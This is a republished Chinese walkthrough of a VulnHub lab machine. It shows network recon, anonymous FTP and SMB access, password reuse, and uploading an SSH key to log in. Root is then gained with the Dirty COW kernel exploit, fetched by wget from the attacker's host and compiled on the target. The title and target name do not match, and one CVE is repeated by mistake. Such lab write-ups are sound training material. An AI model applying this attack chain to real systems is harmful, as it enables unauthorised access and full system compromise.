【VulnHub系列】BrokenGallery
2023-6-30 17:40:32 Author: Ms08067安全实验室(查看原文) 阅读量:11 收藏

出品|MS08067实验室(www.ms08067.com)

本文作者:大方子

#01
实验环境

Kali:192.168.10.102

MyFileServer:192.168.10.106

#02
实验过程

通过arp-scan来发现靶机的IP地址

sudo arp-scan --interface eth0 192.168.10.1/24

用namp来扫描靶机的TCP端口和UDP端口开放情况

# --min-rate:发包的最小速率# -sT,-sU:采用TCP、UDP扫描# --top-ports [number]:扫描常用的端口sudo nmap -sT --min-rate 10000 -p- 192.168.10.106 -oA nmap_result/portssudo nmap -sU --top-ports 20 192.168.10.106 -oA nmap_result/udp

对扫出来的TCP端口进行做详细的扫描,对刚刚的扫描报告内容进行提取

# grep 抓取包含Open字样行的内容# awk -F '/' :-F是分隔符,通过/来进行划分打印输出分组1的内容即端口号# paste -sd ',':-s 表示串行合并,-d ','表示用,进行分割grep open nmap_result/ports.nmap | awk -F '/' '{print $1}'| paste -sd ','

对这些TCP端口进行常规的漏洞扫描以及详细信息扫描

通过扫描结果可以看到ftp可以进行匿名登陆

登陆FTP搜集可用信息

ftp> binary

尝试下载发现很多文件都无法下载,下载来的cron里面也没什么有用的信息

还有一个2121端口也是ftp也登陆看看有没有有用的信息

依旧是权限不足无法下载

手动尝试下常见的文件

http://192.168.10.106/readme.txt http://192.168.10.106/robots.txt

得到密码:rootroot1,但是账号不知道

用gobuster来遍历下目录

gobuster dir -u http://192.168.10.106/ -x txt,rar,zip,tar,sql,php -w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster也没扫出什么有用的信息

靶机还开放了smb服务,尝试从smb中寻找突破口

smbmap -H 192.168.10.106

可以看到其中的smbdata有可读可写的权限

根据我们之前发现的信息,尝试 账号:smbdata 密码:rootroot1 可以成功登陆

sudo smbclient //192.168.10.106/smbdata

分别下载了 messages、secure、sshd_config messages中没有什么可用信息

sshd_config中发现靶机仅仅支持证书登陆,不允许密码登陆

现在我们有2个账号2个密码

账号:smbdata、smbuser密码:rootroot1,chauthtok

尝试smbuser:chauthtok登陆ftp发现错误

尝试ftp碰撞发现smbuser:rootroot1也可以登陆ftp

发现smbuser的ftp目录是家目录

结合之前ssh_config的配置信息,我们可以上传自己的一个证书来达到通过smbuser来登陆ssh

sudo ssh-keygen

在kali上生成一个证书

然后通过ftp将公钥证书上传上去

然后ssh通过证书登陆smbuser

# -i:证书私钥sudo ssh -i dfz smbuser@192.168.10.106

查看下 smbuser的sudo权限

smbuser:rootroot1

找下拥有SUID的文件(PS:SUID文件是当文件运行时,会以文件拥有者的权限运行而不是当前用户的权限, 要给一个文件设置SUID可以通过 chmod u+s filename设置)

# -perm:以文件权限来查找文件find / -perm -u=s -type f 2>/dev/null

查看下有没有定时任务

查看内核版本

通过上面的信息发现并没有什么可用的信息,但是系统的内核版本比较低可以尝试使用脏牛进行提权尝试用systemd-run打开一个shell,发现失败

# systemd-run是一个用于在systemd管理的用户空间中启动进程的工具。-t选项表示在启动的进程中分配一个tty,/bin/bash是要启动的进程。systemd-run -t /bin/bash

完善下shell

export TERM=xterm

通过searchsploit查询可用的提权EXP

searchsploit kernel 3.10 Privilege Escalation

尝试下42887.C

searchsploit -m 42887.c

缺少rootshell.h,换个exp尝试

尝试下15962.C

尝试33516.c,发现可以成功生成

通过php开启临时http服务,然后靶机用wget下载,但是运行报错

这里尝试使用linpeas.sh

https://github.com/carlospolop/PEASS- ng/releases/latest/download/linpeas.sh)来给我们提权提供建议

同样的方式下载到靶机

因为输出的内容过多,我们通过more命令来进行逐页查看

./linpeas.sh | more

根据信息可以看出CVE-2016-5195和CVE-2016-5195可能性最高,我们就尝试这2个EXP CVE-2016-5195失败

CVE-2016-5195失败

到网上查询了别人是用40616成功提权的

searchsploit dirty cow

然后还是在Kali中编译好上传到靶机

但是在靶机上运行还是有问题

后来才明白要在靶机上进行编译然后运行才能提权成功(算踩了一次坑吧)

wget http://192.168.10.102:8081/40616.c gcc 40616.c -o 40616 -pthreadchmod +x 40616./40616

—  实验室旗下直播培训课程  —


和20000+位同学加入MS08067一起学习


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247510681&idx=3&sn=4a8b20eed6348430143b8305cc72d731&chksm=fc3c1398cb4b9a8e6d9d9e73ec3e6bfa4a39880ba18c12006d44522af01fc9e8f1bf4290966b#rd
如有侵权请联系:admin#unsafe.sh